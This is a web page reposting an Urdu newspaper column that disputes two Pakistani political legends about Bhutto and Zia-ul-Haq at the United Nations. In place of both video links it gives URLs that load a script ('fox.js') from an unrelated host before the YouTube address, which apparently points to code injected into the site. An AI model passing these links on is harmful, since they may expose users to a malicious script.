Fact or fiction? Bhutto, General Zia and United Nation – by Azeem M. Mian

Did Zulfikar Ali Bhutto tear down an important resolution by Poland which could have helped in a (relatively) honourable resolution of Pakistan-India war in 1971?

Is General Zia-ul-Haq the first world leader in the history of UN whose speech in General Assembly was preceded by recitation of the Quran?

The following article by Azeem M. Mian (published in Jang 29 June 2012) separates fact from fiction.

ذوالفقار علي بھٹو مرحوم اور ضياء الحق مرحوم دونوں اپنے اقتدار کے ايام ميں اقوام متحدہ کے ہيڈ کوارٹرز نيويارک آئے دونوں کي آمد اور کارروائي کا ريکارڈ اقوام متحدہ ميں موجود ہے ليکن اس کے باوجود اقوام متحدہ کے حوالے سے دونوں ہي کے بارے ميں دو واقعات آج بھي پاکستان ميں زبان زد عام ہيں جب کہ ان دونوں واقعات کي حقيقت اس سے بہت مختلف ہے جو مشہور کيا گيا دونوں واقعات پاکستان کي سياست اور تاريخ کا حصہ ہيں مگر آج تک اقتدار کي ضرورت کو پورا کرنے کيلئے جان بوجھ کر مسخ کئے گئے اور حقائق کو درست نہيں کيا گيا

ايک بات ذوالفقارعلي بھٹو مرحوم کے بارے ميں مشہور ہے کہ جب مشرقي پاکستان بحران اور بھارتي حملے کے ہاتھوں بنگلہ ديش ميں تبديل ہورہا تھا اور بھارتي فوجيں بنگلہ ديشي مکتي باہني کے تعاون سے پاکستاني فوج کے گھيراؤ اور قبضہ کا عمل جاري رکھے ہوئے تھيں تو بھٹو مرحوم يحيي? حکومت کے وزير اور نمائندہ کے طور پر اقوام متحدہ کي سلامتي کونسل کي کارروائي ميں شريک تھے اور سلامتي کونسل مشرقي پاکستان پر بھارتي حملے سے پيدا شدہ صورت حال پر غور کررہي تھي تو کہنے والوں کا کہنا ہے کہ پولينڈ نے ايک مسودہ قرارداد پيش کيا جو سقوط مشرقي پاکستان کے بجائے پاک، بھارت جنگ بند کرکے مشرقي پاکستان کے مسئلے کا حل تلاش کرنے کي تجويز لئے ہوئے تھا ليکن بھٹو مرحوم نے سلامتي کونسل ميں جوشيلي تقرير کرتے ہوئے وہ مسودہ قرارداد پھاڑ ديا اور احتجاجاً سلامتي کونسل سے واک آؤٹ کيا? جس کے بعد امن اور سياسي حل کي بات آگے نہ بڑھ سکي پاکستان ٹوٹ گيا? 90 ہزار پاکستاني فوجي ہتھيار ڈال کر بھارتي قيد ميں چلے گئے اور پولينڈ کي قرارداد کا مسودہ پھاڑ نے والے بھٹو مرحوم تنقيد و مخالفت کا نشانہ بنے

گزشتہ 35 سالوں سے صحافتي ذمہ داريوں کے سلسلے ميں اقوام متحدہ کي يہ عمارت، جنرل اسمبلي، سلامتي کونسل اور يہاں کے ماحول سے ميري آنکھيں بہت مانوس ہوچکي ہيں اور اقوام متحدہ کے نظام اور ريکارڈ سے واقفيت بھي بڑي حد تک ہے? اگر کوئي رکن ملک باقاعدہ کوئي تحريري مسودہ قرارداد، بيان يا موقف پيش کرتا ہے تو وہ اقوام متحدہ کے ريکارڈ کا حصہ ہوجاتا ہے? خواہ وہ مسودہ بعد ميں واپس لے ليا جائے يا اس ميں ترميم يا تنسيخ کي جائے وہ پہلا مسودہ بھي ريکارڈ ميں موجود ہي رہتا ہے? ميں نے اقوام متحدہ کا ريکارڈ بڑي تفصيل سے ديکھا اور مشرقي پاکستان کے حوالے سے پولينڈ کي قرارداد کو تلاش کرنے کي بھرپور کوشش کي مگر آج تک سلامتي کونسل کے ريکارڈ سے 1971ء ميں پولينڈ کي قرارداد کا مسودہ نہيں ملا? اب تو انٹرنيٹ اور کمپيوٹر نے ريکارڈ اور دستاويزات کي دنيا کو ہر ايک کي دسترس ميں دے ديا ہے? آپ بھي اقوام متحدہ کے ريکارڈ ميں پولينڈ کي اُس تاريخي قرارداد کا مسودہ تلاش کريں جو مشرقي پاکستان ميں پاک بھارت جنگ کو روک کر مسئلے کا حل پيش کررہا تھا اور بھٹو مرحوم نے اُسے پھاڑ کر احتجاجي واک آؤٹ کرکے ختم کرڈالا

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&youtu.be/qYHUJBRRnc4

اب آيئے اُس حقيقت کي طرف جو اس واقعے کے چشم ديد گواہ اور سينئر پاکستاني صحافي اے پي پي کے افتخار علي چوہدري بتاتے ہيں افتخار علي اُس وقت سرکاري نيوز ايجنسي اے پي پي کي جانب سے اقوام متحدہ ميں تعينات تھے اُن کا کہنا ہے کہ بھٹو مرحوم نے سلامتي کونسل ميں جو کاغذات پھاڑے تھے وہ اُن کي اپني تقرير کے نوٹس تھے کيوں کہ جب وہ سلامتي کونسل سے احتجاجاً واک آؤٹ کرکے نکلے تو افتخار علي صاحب نے مرحوم بھٹو سے کہا کہ اُن کي تقرير کا مسودہ مل جائے تو وہ اس کي خبر بناکر بھيج ديں جواب ميں بھٹو مرحوم نے کہا کہ انہوں نے تقرير لکھنے کي بجائے ہاتھ سے نوٹس لکھے ہوئے تھے اور وہ انہوں نے سلامتي کونسل کے ہال ميں پھاڑ کر پھينک ديئے اس پر افتخار علي نے سلامتي کونسل کے ہال ميں جاکر وہ پھاڑے گئے نوٹس کے ٹکڑے اٹھائے اور انہيں جوڑ کر پڑھا اور خبر بنا کر بھيجي اگر افتخار علي صاحب کو پتہ ہوتا کہ يہ نوٹس پاکستان تک پہنچتے پہنچتے پولينڈ کي قرارداد کا روپ دھارليں گے تو وہ بھٹو مرحوم کے تحرير کردہ نوٹس محفوظ کرليتے? افتخار علي صاحب آج بھي نيويارک ميں رہتے ہيں اور آج بھي اُن کا موقف يہي ہے جو وہ ميرے علاوہ اپنے ديگر دوستوں کو بھي بتاچکے ہيں? دراصل يحيي? خان کي فوجي حکومت پاکستان کي شکست کي ذمہ داري خود لينے کي بجائے سويلين ذوالفقار علي بھٹو پر بھي کچھ الزام رکھنے کے لئے پولينڈ کي قرارداد کا شاخسانہ لے آئي تھي? اقوام متحدہ کے ريکارڈ ميں تو آج بھي تلاش کريں تو نہيں ملتي حالانکہ اقوام متحدہ ہر تجويز، مسودہ قرارداد کو نمبر بھي الاٹ کرتي ہے تاکہ گمشدگي نہ ہو اور تلاش ميں آساني ہو

کوئي بتلائے کہ ہم بتلائيں کيا؟

********

ايک اور تاريخي اور غلط طور پر مشہور واقعہ مرحوم ضياء الحق کے دورہ? اقوام متحدہ کا ہے جس کا عيني شاہد ميں بھي ہوں جب ضياء الحق مرحوم مسلم دنيا  کي نمائندگي کے ساتھ اقوام متحدہ آئے تو انہوں نے اقوام متحدہ کي تاريخ ميں پہلي بار قرآن کريم کي تلاوت کرائي اور پھر اقوام متحدہ کي جنرل اسمبلي سے انہوں نے خطاب کيا? پاکستان کے عوام نے بھي پاکستان ٹيلي ويژن پر اينکرپرسن کے اعلان کے ساتھ ہي يہ منظر ديکھا کہ اقوام متحدہ کے پروٹوکول کا اعلان ہوا کہ صدر پاکستان ضياء الحق خطاب کريں گے اور ضياء الحق جنرل اسمبلي کے اسٹيج پر کرسي سے اٹھ کر ڈائس پرآئے اور خاموش کھڑے ہوگئے پاکستاني عوام نے پي ٹي وي کے ذريعے تلاوت قرآن سني اور تلاوت کے ختم ہوتے ہي ضياء الحق نے نحمدہ ونصلي کہہ کر اپني تقرير کا آغاز کيا? پاکستان کے عوام اور مسلم ممالک کے عوام خوش تھے کہ اقوام متحدہ کے ايوان ميں ضياء الحق مرحوم نے تلاوت قرآن کي آواز سنوائي پاکستان ميں مرحوم ضياء الحق کو اس حوالے سے بڑي مقبوليت حاصل ہوئي جس کي انہيں ذوالفقار علي بھٹو کو موت کي سزا دينے کے بعد بڑي ضرورت تھي? آج بھي بعض لوگ اس حوالے سے ضياء الحق مرحوم کو خراج عقيدت پيش کرتے ہيں? اب آيئے اصل حقائق کي جانب جو اقوام متحدہ کي جنرل اسمبلي ميں پيش آئے اور اقوام متحدہ کے حکام نے کيا موقف اور کيوں اختيار کيا تھا? دراصل پاکستان سے چلتے وقت مرحوم ضياء الحق يہ کہہ کر آئے تھے کہ وہ اقوام متحدہ کي تاريخ ميں پہلي بار تلاوت کرائيں گے اور پھر خطاب کريں گے? وہ اپنے ساتھ ايک قاري صاحب کو بھي لائے تھے ليکن اقوام متحدہ کے حکام نے تلاوت کے بارے ميں يہ موقف اختيار کيا کہ اقوام متحدہ ايک سياسي، سيکولر عالمي ادارہ ہے اگر قرآن کي تلاوت کے لئے قاري صاحب کو اجازت دي گئي تو پھرعيسائي، يہودي، ہندو، بدھ اور ديگر مذاہب کے ماننے والے بھي اپني اپني مذہبي کتابوں اور تعليمات کو اقوام متحدہ کے ڈائس اور پليٹ فارم سے پرچار کا مطالبہ کريں گے ہر تقرير سے پہلے ڈائس پر کسي مذہب کا رہنما کھڑا ملے گا لہ?ذا اس کي اجازت نہيں دي جاسکتي? اقوام متحدہ کے حکام نے يہ اشارہ بھي ديا کہ مرحوم ضياء الحق اپني تقرير کا آغاز جس طرح چاہيں کرليں يعني اگر وہ خود ڈائس پر آکر تلاوت کرکے اپنے خطاب کا آغاز کرليں تو يہ اُن کي تقرير کا حصہ ہوگا اور تلاوت بھي ہوجائے گي مگر ضياء الحق کے مشيران مصر تھے کہ قاري صاحب کي تلاوت ہوگي معاملہ اقوام متحدہ کے سيکريٹري جنرل تک پہنچا تو اُن کا موقف بھي وہي رہا لہ?ذا کسي ذہين پاکستاني مشير نے يہ حل نکالا کہ جنرل اسمبلي کي بالائي منزل پر ٹي وي، ريڈيو براہ راست نشريات اور کوريج کے لئے بنائے گئے ايک بوتھ ميں قاري صاحب کو لے جاکر وہاں سے پاکستاني ٹي وي کي براہ راست نشريات ميں تلاوت سنوادي جائے اور مرحوم ضياء الحق ڈائس پر خاموش کھڑے رہيں وہاں لگائي گئي ايک بتي کے بجھنے کا انتظار خاموشي سے کريں اور بتي بجھتے ہي وہ اقوام متحدہ کي جنرل اسمبلي سے اپنا خطاب شروع کرديں? پاکستان ٹيلي ويژن کے ريکارڈ ميں سے ضياء الحق کے اس خطاب کي فلم نکلواکر ديکھا جاسکتا ہے کہ حقيقت ميں پاکستاني عوام کو وہ تلاوت سنائي گئي جو اقوام متحدہ کے ايک چھوٹے بوتھ سے پاکستان نشر ہوئي مگر اقوام متحدہ کے ايوانوں ميں يہ کسي نے نہيں سني? الله بھلا کرے کسي محمد اويس فاروقي کا جنہوں نے يہ پُراني ويڈيو پي ٹي وي کے اينکر پرسن کي آواز اور ضياء الحق کي اقوام متحدہ ميں موجودگي يوٹيوب پر ڈاؤن لوڈ کررکھي ہے

http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&youtu.be/fuUFkPFpQrY

قارئين خود يہ ويڈيو ديکھيں اور خود سے سوال کريں? (1) تلاوت کي آواز ضرور مگر قاري صاحب ڈائس پر کيوں نہيں نظر آئے? (2) پروٹوکول کے اعلان کے ساتھ ضياء الحق مرحوم کرسي سے اٹھ کر ڈائس پر آکر تقرير کے آغاز کي بجائے خاموش کھڑے کيوں رہے؟ اور مائيک کے ساتھ لگي بتي کے بجھنے کا انتظار کيوں؟ اقوام متحدہ کے ہال ميں موجود سفارت کاروں اور سامعين کي کيا کيفيت ہے؟ مغربي ميڈيا ميں اس بارے ميں تو شور اٹھ جاتا مگر نہ کچھ چھپا نہ ہي کوئي حمايت يا مخالفت ميں شور اٹھا؟

يہ بھي درست نہيں کہ يہ مذکورہ تلاوت تاريخ کي ”پہلي“ تلاوت تھي? ايران ميں انقلابي خميني حکومت کے قيام کے بعد ايران کے وزير خارجہ نے اقوام متحدہ ميں اپني تقرير سے قبل خود مختصر تلاوت کرکے آغاز تقرير کيا تھا جو مرحوم ضياء الحق سے پہلے کا واقعہ ہے

حقائق تاريخ اور قوم کي امانت ہوتے ہيں

Comments

comments

WordPress › Error

There has been a critical error on this website.

Learn more about troubleshooting WordPress.